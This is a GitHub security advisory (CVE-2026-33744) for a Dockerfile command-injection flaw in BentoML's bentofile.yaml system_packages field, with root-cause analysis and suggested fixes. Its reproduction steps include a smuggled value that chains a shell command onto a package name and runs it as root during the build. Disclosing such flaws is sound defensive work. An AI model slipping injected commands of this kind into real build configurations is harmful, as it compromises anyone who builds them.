{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.4.36"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "bentoml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.37"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33744"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T07:32:44Z",
    "nvd_published_at": "2026-03-27T01:16:21Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `docker.system_packages` field in `bentofile.yaml` accepts arbitrary strings that are interpolated directly into Dockerfile `RUN` commands without sanitization. Since `system_packages` is semantically a list of OS package names (data), users do not expect values to be interpreted as shell commands. A malicious `bentofile.yaml` achieves arbitrary command execution during `bentoml containerize` / `docker build`.\n\n## Affected Component\n\n- `src/_bentoml_sdk/images.py:85-89` \u2014 `.format(packages=\" \".join(packages))` into shell command\n- `src/bentoml/_internal/container/frontend/dockerfile/templates/base_debian.j2:13` \u2014 `{{ __options__system_packages | join(\u0027 \u0027) }}`\n- `src/bentoml/_internal/bento/build_config.py:174` \u2014 No validation on `system_packages`\n- All distro install commands in `src/bentoml/_internal/container/frontend/dockerfile/__init__.py`\n\n## Affected Versions\n\nAll versions supporting `docker.system_packages` in `bentofile.yaml`, confirmed on 1.4.36.\n\n## Steps to Reproduce\n\n1. Create a project directory with:\n\n**service.py:**\n```python\nimport bentoml\n\n@bentoml.service\nclass MyService:\n    @bentoml.api\n    def predict(self) -\u003e str:\n        return \"hello\"\n```\n\n**bentofile.yaml:**\n```yaml\nservice: \"service:MyService\"\ndocker:\n  system_packages:\n    - \"curl \u0026\u0026 id \u003e /tmp/bentoml-pwned #\"\n```\n\n2. Run:\n```bash\nbentoml build\n```\n\n3. Examine the generated Dockerfile at `~/bentoml/bentos/my_service/\u003ctag\u003e/env/docker/Dockerfile`. Line 41 will contain:\n```dockerfile\nRUN apt-get install -q -y -o Dpkg::Options::=--force-confdef curl \u0026\u0026 id \u003e /tmp/bentoml-pwned #\n```\n\n4. Running `bentoml containerize my_service:\u003ctag\u003e` will execute `id \u003e /tmp/bentoml-pwned` as root during the Docker build.\n\n## Root Cause\n\nThe `system_packages` field values are treated as package names (data) by the user but are string-formatted directly into shell commands in the Dockerfile:\n\n```python\n# images.py:85-89\nself.commands.append(\n    CONTAINER_METADATA[self.distro][\"install_command\"].format(\n        packages=\" \".join(packages)  # No escaping\n    )\n)\n```\n\nWhere `install_command` is `\"apt-get install -q -y -o Dpkg::Options::=--force-confdef {packages}\"`.\n\nA `bash_quote` filter (wrapping `shlex.quote`) exists in the codebase and is registered in both Jinja2 environments, but it is only applied to environment variable values, never to `system_packages`.\n\n## Impact\n\n1. **Malicious repositories**: An attacker publishes an ML project with a crafted `bentofile.yaml`. Anyone who clones and builds it gets arbitrary code execution during `docker build`.\n2. **CI/CD compromise**: Automated pipelines running `bentoml containerize` on PRs that modify `bentofile.yaml` are vulnerable.\n3. **BentoCloud**: If BentoCloud builds images from user-supplied `bentofile.yaml`, this could achieve RCE on cloud infrastructure.\n4. **Supply chain**: Shared bentos or model repos in the BentoML ecosystem can contain malicious configs.\n\n## Suggested Fix\n\n### Option 1: Input validation (recommended)\n\nAdd a regex validator to `system_packages` in `build_config.py`:\n\n```python\nimport re\n\nVALID_PACKAGE_NAME = re.compile(r\u0027^[a-zA-Z0-9][a-zA-Z0-9.+\\-_:]*$\u0027)\n\ndef _validate_system_packages(instance, attribute, value):\n    if value is None:\n        return\n    for pkg in value:\n        if not VALID_PACKAGE_NAME.match(pkg):\n            raise BentoMLException(\n                f\"Invalid system package name: {pkg!r}. \"\n                \"Package names may only contain alphanumeric characters, \"\n                \"dots, plus signs, hyphens, underscores, and colons.\"\n            )\n\nsystem_packages: t.Optional[t.List[str]] = attr.field(\n    default=None, validator=_validate_system_packages\n)\n```\n\n### Option 2: Output escaping\n\nApply `shlex.quote()` to each package name before interpolation in `images.py:system_packages()` and apply the `bash_quote` Jinja2 filter in `base_debian.j2`.",
  "id": "GHSA-jfjg-vc52-wqvf",
  "modified": "2026-03-27T21:37:31Z",
  "published": "2026-03-26T07:32:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-jfjg-vc52-wqvf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33744"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bentoml/BentoML"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "BentoML has Dockerfile Command Injection via system_packages in bentofile.yaml"
}